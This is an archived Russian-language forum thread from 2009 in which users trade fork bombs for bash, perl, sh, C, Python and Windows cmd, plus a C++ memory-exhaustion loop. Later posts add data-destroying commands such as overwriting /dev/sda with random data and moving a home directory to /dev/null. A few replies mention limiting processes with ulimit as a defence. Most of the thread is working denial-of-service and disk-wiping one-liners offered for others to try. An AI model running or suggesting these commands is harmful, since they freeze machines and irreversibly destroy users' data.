PDA

Просмотр полной версии : форк-бомбы


jawbreaker
04.03.2009, 18:16
Винду можно повесить bat-файлом, чтобы сделать то же в линуксе нужно воспользоваться форк-бомбой(последствия запуска могут быть самыми плачевными). Вот примеры некоторых из них:

Не уверен не запускай!

1) bash
:(){ :|:&};:

2)perl
$ perl -MPOSIX -e '$pid=fork; exit if $pid; setid; fork while(1)'

3)sh
$ echo '. ./_&. ./_'>_;. ./_
или создаем файлик с таким содержимым и (не)запускаем его
#!/bin/sh
$0 & $0 &

Предлагайте ещё варианты ^_^

Tigger
04.03.2009, 23:28
Повесить винду множественными радиректами и выполнениями (загрузкоц ЦП) функция нп пхп и т.д. =)

tmp
05.03.2009, 02:39
Мож я делаю что то не так? Или это уже все залатали? :)

Пробовал 1 и 3 ий варианты . Ни чего не произошло. Отсальные впадло писать :)

uname -a
Linux localhost.localdomain 2.6.27.15-78.2.23.fc9.x86_64 #1 SMP Wed Feb 11 23:11:11 EST 2009 x86_64 x86_64 x86_64 GNU/Linux

ЗЫ
Добавлю (выявил сегодня утром):
Эта гадость забила мне весь bash_history юзера из под которого запускал форк-бомбы своим дерьмом :) других неудобств вроде не замечено

jawbreaker
05.03.2009, 17:32
Наверное это на новых кернелах.
На
Linux 2.6.21.5-smp #2 SMP Tue Jun 19 14:58:11 CDT 2007 i686 Intel(R) Celeron(R) CPU 2.00GHz GenuineIntel GNU/Linux
мне пришлось нажать резет.

betakley
06.03.2009, 16:20
4) С
#include <unistd.h>
int main()
{
while(1)
fork();
}

5) Python
import os
while(1):
os.fork()

gold-goblin
06.03.2009, 16:30
import os
while(1):
os.fork()
на 2 ядрах бесполезно....
да и интерпретатор быстрей повиснет чем система

delux
29.04.2009, 21:47
rкопирайты на википедию хоть бы закинул
не раз уже читали
под_венду.cmd
%0|%0

tux
29.04.2009, 22:52
Форк бомбы на сегодняшний день малоэффективны. Ибо можно простой опцией ограничить кол-во порожденных процессов. Кстати, как и память, которую может забрать процесс. Под никсами, разумеется.

cupper
30.04.2009, 19:38
народ а форк бомбы это тольео на загрузку проца ? а какже память ?
#include <iostream>
int main (){
while(1) char *a=new char[1024];
}
пару секунд и из 2г оперытивки и 1 гиг подкачки улетели, система почти умерла.
Оживил только тем что оставил активной консоль и там ctr+C и то несразу сработало. Так некто немешает сделать свой обработчик сигналов.
Если невтему извеняйте.

tux
01.05.2009, 14:35
http://webtools.live2support.com/linux/ulimit.php
При правильной настройке "форки" идут лесом.
Тут (http://www.opennet.ru/base/sys/ulimit_mc.txt.html) про то же по-русски. Правда, немного.

igorf()x
05.05.2009, 22:10
dd if=/dev/urandom of=/dev/sda

mv /home/my_home_directory/* /dev/null

какая_нибудь_команда > /dev/sda

Это не форк бомбы но тоже вредно.

tux
05.05.2009, 22:17
dd if=/dev/urandom of=/dev/sda

mv /home/my_home_directory/* /dev/null

какая_нибудь_команда > /dev/sda

Это не форк бомбы но тоже вредно.
Рут тут нужен. Кроме удаления файлов домашнего каталога.
Ты бы еще патч Бармина привел. :D